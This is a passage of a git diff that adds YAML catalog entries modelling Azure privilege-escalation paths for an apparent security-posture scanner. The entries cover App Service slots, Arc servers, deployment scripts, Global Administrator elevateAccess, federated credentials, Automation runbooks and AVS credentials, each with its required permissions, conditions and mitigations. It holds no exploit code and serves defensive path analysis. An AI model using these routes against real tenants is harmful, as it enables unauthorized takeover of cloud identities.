Require siteextensions/write on a selectable child of the exact Windows code app carrying the identity. A grant limited to one named extension stays unresolved without evidence that the source controls that package. The Kudu install script alone does not prove execution as the app identity; it must alter content the main app runs. + +- id: azure-appservice-onedeploy-extensions-write + provider: azure + service: app_services + title: Replace app content through the OneDeploy extension route + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesextensionswrite--onedeploy-zip-replacement + source_revision: 171e422 + summary: Microsoft.Web/sites/extensions/write on the exact onedeploy child can replace a code app's package and may run it with the app's managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/extensions/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_onedeploy_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: package_deployment_and_execution + description: The package must be reachable, valid for the app, deployed successfully, and run in the app context. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Microsoft.Web/sites/extensions/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-zip + - https://learn.microsoft.com/en-us/azure/azure-functions/functions-infrastructure-as-code + notes: Require extensions/write on the exact site's extensions/onedeploy child. Flex Consumption Function Apps support this ARM package path. A custom container may not execute files deployed to its content share, and a stopped app needs a start route before code runs. + +- id: azure-appservice-restore-from-backup-blob + provider: azure + service: app_services + title: Restore the app from an attacker-supplied backup + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesrestorefrombackupblobaction--restore-an-attacker-backup + source_revision: 171e422 + summary: Restoring a valid attacker-controlled backup to a supported code app may replace its content and run code with its attached managed identity. + requires: + all_of: + - action: Microsoft.Web/sites/restoreFromBackupBlob/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_backup_restore_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of App Service {target.host_resource}" + conditions: + - id: compatible_attacker_backup_and_sas + description: A valid backup of the same OS, accessible through a usable container SAS, must restore successfully with overwrite enabled and run code in the app. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict restoreFromBackupBlob/action. + references: + - https://learn.microsoft.com/en-us/rest/api/appservice/web-apps/restore-from-backup-blob + - https://learn.microsoft.com/en-us/azure/app-service/manage-backup + notes: Bind restoreFromBackupBlob/action to the exact app carrying the identity. Azure documents backups for Basic, Standard, Premium and Isolated App Service plans; Functions backup support is limited to Dedicated. Free, Shared, Consumption, Flex and Elastic Premium plans do not establish this route. A modified backup may be invalid, and restoring a custom container's content may not change its running image. + +- id: azure-appservice-assign-user-assigned-identity + provider: azure + service: app_services + title: Attach a user-assigned identity to a controlled App Service + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsiteswrite-microsoftwebsitesread-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: Adding a user-assigned identity to an existing or creatable app where the source can run code may expose that identity's tokens. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Web/sites/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Web/sites + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_appservice_assignable_uami: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: app_runtime_and_code_execution + description: The source must be able to run or deploy code in the same inventoried app, or create an app on an inventoried joinable plan; runtime execution and token use remain conditional. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict userAssignedIdentities/assign/action and Microsoft.Web/sites/write. + references: + - https://learn.microsoft.com/en-us/azure/app-service/overview-managed-identity + notes: Match the write and code path to one inventoried App Service. For a new app, require an inventoried resource group and same-subscription plan with serverfarms/join/action. Function code writes count only on Function Apps; host keys alone invoke existing functions and do not grant arbitrary code execution. + +- id: azure-appservice-slot-code-execution + provider: azure + service: app_services + title: Run code in a deployment slot + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesslotsconfigwrite--recycle-a-deployment-slot-into-attacker-code + source_revision: 171e422 + summary: A code-bearing publish, source control, SiteContainer or config permission on a slot may run code with that slot's own managed identity. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slots/publish/action + - - action: Microsoft.Web/sites/slots/sourcecontrols/write + - - action: Microsoft.Web/sites/slots/sitecontainers/write + - - action: Microsoft.Web/sites/slots/config/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites/slots + azure_appservice_slot_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of deployment slot {target.host_resource}" + conditions: + - id: slot_code_deployment_and_execution + description: The selected route must deploy or start attacker code in the slot, and that code must access the slot's identity endpoint. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Treat slot permissions like production permissions and keep slot identities least-privileged. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots + notes: Match each action to the exact slot carrying the identity. SiteContainer writes require Linux SiteContainers mode; config writes must target a code-bearing child. A slot master key alone invokes existing functions and is not evidence of arbitrary code execution. Slot swaps and production identities have separate techniques. + +- id: azure-appservice-slot-publishxml + provider: azure + service: app_services + title: Obtain slot publishing credentials and deploy into the slot + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md#microsoftwebsitesslotspublishxmlaction + source_revision: a66f094ede + summary: Reading publishing credentials for the exact slot may allow code deployment under that slot's managed identity when its SCM basic auth policy allows it. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slots/publishxml/action + - - action: Microsoft.Web/sites/slots/config/list/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites/slots + azure_appservice_slot_publishing_credentials_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of deployment slot {target.host_resource}" + conditions: + - id: slot_scm_reachability_and_code_execution + description: The slot SCM endpoint must be reachable, accept the credentials and package, and run deployed code in the slot. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Disable basic auth on slots and restrict slots/publishxml/action. + references: + - https://learn.microsoft.com/en-us/azure/app-service/configure-basic-auth-disable + notes: The selector requires slots/publishxml/action or slots/config/list/action on the exact identity slot and a collected slots/basicPublishingCredentialsPolicies/scm allow=true value. FTP policy alone does not authorize SCM deployment. A custom container's package execution remains unresolved. + +- id: azure-appservice-slot-swap-promote-code + provider: azure + service: app_services + title: Plant code in a deployment slot and swap it into production + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md#microsoftwebsitesslotsswapaction-promote-staged-code--steal-production-sticky-secrets + source_revision: 171e422 + summary: Code planted in a slot runs under the production site's managed identities after a swap, because identities stay with the site and are not swapped. + requires: + all_of: [] + any_of: + - - action: Microsoft.Web/sites/slotsswap/action + - - action: Microsoft.Web/sites/slots/slotsswap/action + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Web/sites + azure_appservice_slot_swap_code_path: true + scope: inherited_scope + aggregate_as: "Managed identities of production site {target.host_resource}" + conditions: + - id: swap_not_gated + description: Swap with preview or deployment pipelines gating swaps can delay or surface the promotion. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict slotsswap/action to release automation and treat slot write permissions like production permissions. + references: + - https://learn.microsoft.com/en-us/azure/app-service/deploy-staging-slots#which-settings-are-swapped + notes: The selector joins a code-bearing write and a swap action on the same inventoried slot of the production app. Site-level and slot-level swap operations are supported. Microsoft documents that managed identities are not swapped; promoted code uses the production identity. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/arc.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/arc.yaml new file mode 100644 index 0000000000..ff7b012028 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/arc.yaml @@ -0,0 +1,103 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Arc techniques (declarative only). +# Source: hacktricks-cloud az-arc-enabled-servers-privesc.md and az-arc-resource-bridge-privesc.md (rev 171e422). +# Arc-enabled servers support only a system-assigned identity; its token (HIMDS) is readable by +# local administrators / the himds group, which extensions running as SYSTEM/root are. +# Arc run commands are modelled in virtual_machines.yaml (azure-arc-machine-runcommands-write). + +- id: azure-arc-machine-extensions-write + provider: azure + service: arc + title: Deploy a Custom Script extension on an Arc-enabled server + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#rce--persistence-via-vm-extensions-custom-script + source_revision: 171e422 + summary: An extension the source deploys runs as SYSTEM/root on the Arc server, exposing the machine's system-assigned identity. + requires: + all_of: + - action: Microsoft.HybridCompute/machines/extensions/write + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + azure_arc_custom_script_code_path: true + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: custom_script_execution + description: The Custom Script extension must be installed or updated successfully and its script must run on the machine. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict machines/extensions/write and configure agent-side extension allow-lists. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/manage-vm-extensions + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/managed-identity-authentication + notes: The selector requires write permission on a creatable extension child or an existing Custom Script child of the exact identity machine, plus a connected agent in full mode with extensions enabled and Custom Script allowed by its reported local lists. Missing agent settings remain unresolved. + +- id: azure-arc-hybrid-connectivity-entra-ssh + provider: azure + service: arc + title: SSH into an Arc-enabled server as administrator through Hybrid Connectivity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-enabled-servers-privesc.md#sshrdp-to-arc-machines-via-hybrid-connectivity + source_revision: 171e422 + summary: An administrator SSH session over the Arc relay can read the machine's HIMDS identity token. + requires: + all_of: + - action: Microsoft.HybridConnectivity/endpoints/listCredentials/action + - action: Microsoft.HybridCompute/machines/loginAsAdmin/action + data_action: true + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.HybridCompute/machines + azure_arc_entra_admin_ssh_path: true + scope: inherited_scope + aggregate_as: "Managed identity of Arc machine {target.host_resource}" + conditions: + - id: arc_ssh_runtime_available + description: The agent and SSH daemon must be available, and local policy must permit the Entra administrator login. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict Virtual Machine Administrator Login on Arc machines and Hybrid Connectivity listCredentials. + references: + - https://learn.microsoft.com/en-us/azure/azure-arc/servers/ssh-arc-overview + notes: The selector requires listCredentials on the exact machine's default Hybrid Connectivity endpoint and loginAsAdmin on the machine, plus an inventoried SSH service configuration and successfully provisioned AADSSHLoginForLinux extension. A local-account credential route is not inferred from RBAC alone. + +- id: azure-arc-resource-bridge-credential-export + provider: azure + service: arc + title: Export Arc resource bridge appliance kubeconfig and keys + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arc-resource-bridge-privesc.md#export-customer-kubeconfig-and-ssh-credentials + source_revision: 171e422 + summary: An appliance credential export may grant a specific, verified permission in the bridge's external management plane. + requires: + all_of: [] + any_of: + - - action: Microsoft.ResourceConnector/appliances/listKeys/action + - - action: Microsoft.ResourceConnector/appliances/listClusterUserCredential/action + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: arc_bridge_appliance + scope: inherited_scope + outcome: credentials + aggregate_as: "Verified appliance principals reached through {target.resource}" + conditions: + - id: exact_credential_authority + description: Reviewed evidence must identify a usable exported credential, the exact appliance and principal, and a newly allowed permission after authentication. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict appliances listKeys/listClusterUserCredential to bridge operators. + references: + - https://learn.microsoft.com/en-us/rest/api/resourceconnector/appliances + notes: Covers both customer and partner credential actions. The permission alone never implies cluster-admin, SSH access or Azure RBAC; only source-bound, fresh azure_external_principal_evidence showing a new specific permission creates an edge. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/arm.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/arm.yaml new file mode 100644 index 0000000000..fbbbab8889 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/arm.yaml @@ -0,0 +1,37 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Resource Manager deployment / template spec techniques (declarative only). +# Source: hacktricks-cloud az-arm-deployment-privesc.md, az-arm-template-spec-privesc.md (rev 171e422). + +- id: azure-arm-deploymentscript-with-user-assigned-identity + provider: azure + service: arm + title: Deployment script running as an assignable user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-arm-deployment-privesc.md#microsoftresourcesdeploymentscriptswrite + source_revision: 171e422 + summary: The source can obtain the privileges of user-assigned identities it can assign. + requires: + all_of: + - action: Microsoft.Resources/deploymentScripts/write + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_deployment_script_uami_path: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: + - id: deployment_script_execution + description: The script and its support resources must be provisioned successfully so the code can run as the assigned identity. + blockers: + - azure_deny_assignment + confidence: conditional + severity: critical + mitigation: Restrict userAssignedIdentities/assign/action and deploymentScripts/write; use Azure Policy to restrict which identities deployment scripts may use. + references: + - https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/deployment-script-template + notes: The selector joins exact deploymentScripts/write and UAMI assign/action rights to a creatable or inventoried script, checks the required storage/ACI permissions on support resources in its resource group, and requires containerGroups/delete when a retained support container is inventoried. Missing retained-container evidence remains unresolved. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml new file mode 100644 index 0000000000..463ea15206 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml @@ -0,0 +1,140 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure RBAC / authorization-plane privilege escalation techniques. +# Source: hacktricks-cloud az-authorization-privesc.md (rev 171e422; policy entries originally authored against 6bdd8e89e6). +# Conventions used across catalog/azure/*.yaml (see SCHEMA EXTENSIONS in the agent report): +# requirement scope "{target.scope}" -> the MG / subscription / RG / resource the target entity controls; +# the permission must be granted at that scope or an ancestor (RBAC inheritance). +# requirement scope "{target.id}" -> ARM id of the target user-assigned managed identity resource. +# requirement scope "{target.host_resource}" -> ARM id of the Azure resource the target managed identity is attached to. +# requirement scope "{pivot}" -> one resource of type `pivot_resource_type` (existing or newly created); +# every requirement using {pivot} must cover the SAME resource. +# data_action: true -> the action must be granted via DataActions (not Actions). + +- id: azure-authorization-elevateaccess-global-admin + provider: azure + service: authorization + title: Global Administrator elevates to User Access Administrator at root scope + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationelevateaccessaction + source_revision: e8f25bff43 + summary: A Global Administrator can grant itself User Access Administrator at root scope "/", gaining RBAC control over every management group and subscription in the tenant. + source_kind: azure_user + requires: + all_of: + - entra_role: Global Administrator + directory_scope: "dir:/" + target: + kind: azure_scope_owner + selector: + any_principal_in_scope: true + azure_root_scope_only: true + scope: tenant + aggregate_as: "Azure root scope (/) of the tenant" + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Minimise Global Administrators, require PIM with approval, and alert on elevateAccess events and root-scope role assignments. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin + notes: Only users with an active tenant-wide Global Administrator assignment can call elevateAccess. PIM eligibility alone needs activation and is not an active grant. Elevation yields User Access Administrator at root scope; the source can then assign itself Owner. + +- id: azure-managedidentity-federated-credential-write + provider: azure + service: authorization + title: Add a federated identity credential to a user-assigned managed identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftmanagedidentityuserassignedidentitiesfederatedidentitycredentialswrite + source_revision: 171e422 + summary: The source can add a trust to an external IdP it controls and obtain tokens as the user-assigned managed identity. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/federatedIdentityCredentials/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_uami_fic_write_path: true + scope: inherited_scope + aggregate_as: "User-assigned managed identities in {scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict federatedIdentityCredentials/write (included in Managed Identity Contributor/Contributor/Owner) and alert on new FICs; consider an Azure Policy restricting allowed FIC issuers. + references: + - https://learn.microsoft.com/en-us/entra/workload-id/workload-identity-federation-create-trust-user-assigned-managed-identity + notes: Only user-assigned identities support FICs; system-assigned identities are not reachable this way. + +- id: azure-policy-assignment-write-user-assigned-identity + provider: azure + service: authorization + title: Create or update a deployIfNotExists/modify policy assignment running as an existing user-assigned identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#policy-assignment-remediation-with-an-existing-user-assigned-identity + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: The source can obtain the Azure RBAC control-plane privileges of user-assigned managed identities on which it holds assign/action, by making them the remediation identity of a policy assignment whose custom definition it controls. + requires: + all_of: + - action: Microsoft.Authorization/policyAssignments/write + scope: '*' + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: '{target.id}' + - action: Microsoft.Authorization/policyDefinitions/write + scope: '*' + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_policy_assignment_identity_path: true + scope: any + aggregate_as: User-assigned identities usable by writable policy assignments + conditions: + - id: definition_visible_at_assignment + description: The writable custom deployIfNotExists definition must be at a subscription or management-group scope visible to the writable policy assignment. + - id: remediation_trigger + description: 'The deployment runs only after a remediation task or a create or update of a resource matching the policy assignment.' + - id: arm_control_plane_only + description: The gain is what an ARM template deployment can do with the identity's existing role assignments (Actions). DataActions are not exercised directly. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Grant userAssignedIdentities/assign/action (Managed Identity Operator) on privileged user-assigned identities only to their owners, and restrict policyAssignments/write plus policyDefinitions/write to policy administrators. + references: + - https://learn.microsoft.com/en-us/azure/governance/policy/how-to/remediate-resources#configure-the-managed-identity + - https://azure.github.io/enterprise-azure-policy-as-code/policy-assignments/ + notes: No roleAssignments/write is needed. The user-assigned identity keeps its existing role assignments; only the portal auto-grants roleDefinitionIds, and SDK or REST assignments do not. Using a user-assigned identity on a policy assignment needs Managed Identity Operator, which is userAssignedIdentities/assign/action on the identity (EPAC documentation and the ARM linked-access check). A new system-assigned identity has no roles unless the source can also create role assignments, which azure-authorization-roleassignments-write already covers. Repointing an existing assignment that has a system-assigned identity is not modelled, because it is not verified whether policyDefinitionId can change on update. +- id: azure-authorization-elevateaccess-pim-eligible-global-admin + provider: azure + service: authorization + title: Activate an eligible Global Administrator role and elevate Azure access + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationelevateaccessaction + source_revision: 171e422 + summary: A user eligible for tenant-wide Global Administrator can activate that role, then grant itself User Access Administrator at root scope. + source_kind: azure_user + requires: + all_of: + - entra_pim_eligible_role: "dir:62e90394-69f5-4237-9190-012177145e10" + directory_scope: "dir:/" + target: + kind: azure_scope_owner + selector: + any_principal_in_scope: true + azure_root_scope_only: true + scope: tenant + aggregate_as: "Azure root scope (/) of the tenant" + conditions: + - id: pim_activation_requirements + description: The user must satisfy any MFA, approval, or other PIM activation requirements before calling elevateAccess. + blockers: [] + confidence: conditional + severity: critical + mitigation: Require PIM approval for eligible Global Administrator assignments and monitor role activation and root-scope elevation. + references: + - https://learn.microsoft.com/en-us/azure/role-based-access-control/elevate-access-global-admin + - https://learn.microsoft.com/en-us/entra/id-governance/privileged-identity-management/pim-how-to-activate-role + notes: A current tenant-wide eligibility is required. Eligibility alone is a conditional path and never counts as an active Global Administrator grant. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/automation.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/automation.yaml new file mode 100644 index 0000000000..ad5158a73d --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/automation.yaml @@ -0,0 +1,166 @@ +# catalog_description: Active Azure entries require an identified source principal or intrinsic credential foothold, +# X permission or capability enabling a stated action, and an exact target principal credential, token, +# role/group membership, or additional permissions granted to the caller. Secret/config reads alone +# are excluded unless verified content establishes a usable credential for a named target principal. +# Canonical policy: peaso/privesc/catalog_policy.yaml +# Azure Automation account privilege escalation techniques. +# Source: hacktricks-cloud az-automation-accounts-privesc.md (rev 171e422). +# Placeholder conventions: see catalog/azure/authorization.yaml header. + +- id: azure-automation-runbook-author-and-run + provider: azure + service: automation + title: Create or modify a runbook and run it as the Automation account identity + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountsjobswrite-microsoftautomationautomationaccountsrunbooksdraftwrite-microsoftautomationautomationaccountsrunbooksdraftcontentwrite-microsoftautomationautomationaccountsjobsoutputread-microsoftautomationautomationaccountsrunbookspublishaction-microsoftresourcessubscriptionsresourcegroupsread-microsoftautomationautomationaccountsrunbookswrite + source_revision: 171e422 + summary: The source runs arbitrary runbook code inside the Automation account sandbox and obtains tokens for the account's system- and user-assigned managed identities. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/runbooks/write + scope: "*" + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "*" + target: + kind: azure_managed_identity + selector: + attached_to_service: Microsoft.Automation/automationAccounts + azure_automation_runbook_identity_path: true + scope: inherited_scope + aggregate_as: "Managed identities of Automation account {target.host_resource}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Limit runbook authoring/publish/job permissions (Automation Contributor, Automation Operator + Runbook Operator, Contributor) and give the Automation account identity only the roles its runbooks need. + references: + - https://learn.microsoft.com/en-us/azure/automation/automation-role-based-access-control + - https://learn.microsoft.com/en-us/azure/automation/enable-managed-identity-for-automation + notes: The selector joins a complete create-and-run or exact existing-runbook publish/job or test-job route on the same inventoried Automation account carrying the identity. Grants limited to a named runbook are supported. Output-read permissions are only needed to read results and are not required for the gain. Credential and encrypted-variable assets are modelled separately (azure-automation-runbook-credential-assets); Hybrid Worker VM identities separately (azure-automation-runbook-hybrid-worker). + +- id: azure-automation-runbook-hybrid-worker + provider: azure + service: automation + title: Run runbook code on a Hybrid Runbook Worker VM and use the VM's managed identities + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#hybrid-workers-group + source_revision: a66f094ede + summary: Runbook jobs targeted at a Hybrid Worker group execute on the worker machine, so an Azure VM worker's managed identities become reachable through IMDS. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/runbooks/write + scope: "*" + - - action: Microsoft.Automation/automationAccounts/runbooks/draft/write + scope: "*" + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_managed_identity + selector: + attached_to_service: + - Microsoft.Compute/virtualMachines + - Microsoft.HybridCompute/machines + azure_automation_hybrid_worker_path: true + scope: any + aggregate_as: "Managed identities of Hybrid Worker VMs / Arc machines of Automation account {pivot}" + conditions: + - id: worker_selection_and_identity_use + description: A job must execute on the linked VM within its Hybrid Worker group, and code must use an identity available on that host. + blockers: [] + confidence: conditional + severity: high + mitigation: Restrict runbook authoring on accounts with Hybrid Worker groups and do not attach privileged managed identities to worker VMs. + references: + - https://learn.microsoft.com/en-us/azure/automation/automation-hrw-run-runbooks + notes: The selector requires a complete runbook authoring and execution path on the exact Automation account with the linked worker. Worker-group scheduling and identity use remain conditional. Jobs run as SYSTEM or nxautomation on the worker. Arc-enabled server workers can expose the Arc machine identity when the Automation account has no managed identity. + +- id: azure-automation-assign-user-assigned-identity + provider: azure + service: automation + title: Attach a user-assigned managed identity to an Automation account and run code as it + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#microsoftautomationautomationaccountswrite-microsoftmanagedidentityuserassignedidentitiesassignaction + source_revision: 171e422 + summary: The source attaches any user-assigned identity it can assign to an Automation account it controls and then uses runbook code to obtain that identity's tokens. + requires: + all_of: + - action: Microsoft.ManagedIdentity/userAssignedIdentities/assign/action + scope: "{target.id}" + - action: Microsoft.Automation/automationAccounts/write + scope: "{pivot}" + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_managed_identity + selector: + managed_identity_type: user_assigned + azure_automation_assignable_uami: true + scope: inherited_scope + aggregate_as: "User-assigned identities assignable in {scope}" + conditions: [] + blockers: + - azure_deny_assignment + confidence: derived + severity: high + mitigation: Restrict Microsoft.ManagedIdentity/userAssignedIdentities/assign/action (Managed Identity Operator, Contributor, Owner) to deployment principals and scope it to individual identities. + references: + - https://learn.microsoft.com/en-us/azure/automation/add-user-assigned-identity + notes: The selector joins exact UAMI assignment, Automation account write, and a complete create-runbook or existing-runbook execution route on the same account. A new account is conditional and requires an inventoried resource group. Missing account or runbook inventory stays unresolved. + +- id: azure-automation-job-output-credential + provider: azure + service: automation + title: Read a service principal credential from Automation job output + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#harvest-secrets-from-prior-job-output-and-streams + source_revision: 658a097d5c + summary: Read a verified usable service principal client secret from historical Automation job output and gain that principal's permissions. + requires: + all_of: [] + any_of: + - - action: Microsoft.Automation/automationAccounts/jobs/output/read + scope: '*' + - - action: Microsoft.Automation/automationAccounts/jobs/streams/read + scope: '*' + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates this edge; uncollected, partial, or unverified content creates no path. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/automation/manage-runbooks + notes: A known job name can be read with output/read or streams/read without jobs/read. Reviewed evidence must identify the exact job, returned content, and usable service-principal client secret; the selector checks the read action on that job. A short-lived audience-bound access token is not treated as full principal control. Missing or incomplete review creates no path. +- id: azure-automation-runbook-source-credential + provider: azure + service: automation + title: Read hardcoded credentials from runbook source + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md#read-runbook-source-for-hardcoded-secrets + source_revision: 658a097d5c + summary: Read a verified usable credential from published Automation runbook source and gain its Entra service principal permissions. + requires: + all_of: + - action: Microsoft.Automation/automationAccounts/runbooks/content/read + scope: '*' + pivot_resource_type: Microsoft.Automation/automationAccounts + target: + kind: azure_service_principal + selector: + credential_stored_in_scope: '{pivot}' + scope: any + aggregate_as: Verified credential holders in {pivot} + conditions: + - id: verified_credential + description: Only a collected, mapped, still-valid service-principal credential in the readable content creates this edge; uncollected, partial, or unverified content creates no path. + blockers: [] + confidence: conditional + severity: high + mitigation: Remove reusable Entra credentials from the content and restrict the listed read permission. + references: + - https://learn.microsoft.com/en-us/azure/automation/manage-runbooks + notes: Reviewed azure_privesc_challenge_evidence must identify the exact published runbook, returned source, and usable credential mapped to a named Entra service principal. The selector checks content/read on that runbook, including a grant limited to the named runbook. Missing or incomplete review creates no path. diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml new file mode 100644 index 0000000000..fc8b8361d8 --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml @@ -0,0 +1,96 @@ +# catalog_description: An AVS ARM action reaches an adjacent-plane principal only +# when unique reviewed evidence binds the exact private cloud, returned credential +# or successful grant, named subject, usable access, and newly allowed action. +# Canonical policy: peaso/privesc/catalog_policy.yaml +- id: azure-avs-list-vcenter-cloudadmin-external-principal + provider: azure + service: avs + title: Reach the named AVS vCenter CloudAdmin with a verified returned credential + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#cloudadmin--nsx-t-credential-disclosure-listadmincredentials + source_revision: 171e422 + summary: Reading AVS administrator credentials can reach the exact vCenter CloudAdmin only when a reviewed login proves that the returned credential grants a new vCenter action. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/listAdminCredentials/action + scope: '{target.scope}' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: vmware_vcenter + scope: inherited_scope + outcome: credentials + aggregate_as: Exact AVS vCenter CloudAdmin reached with reviewed credential + conditions: + - id: exact_vcenter_login_and_permission + description: Unique complete reviewed evidence must bind the returned vcenterUsername and vcenterPassword to this private cloud, successful authentication, prior source denial, and a newly allowed named vCenter action within the CloudAdmin role. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict listAdminCredentials/action and rotate exposed CloudAdmin credentials. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/concepts-identity + notes: The azure_external_principal_evidence record must bind the returned vCenter username, password response, exact vCenter service, and a newly authorized vCenter privilege or UI action. A private-cloud resource proxy or plaintext password alone 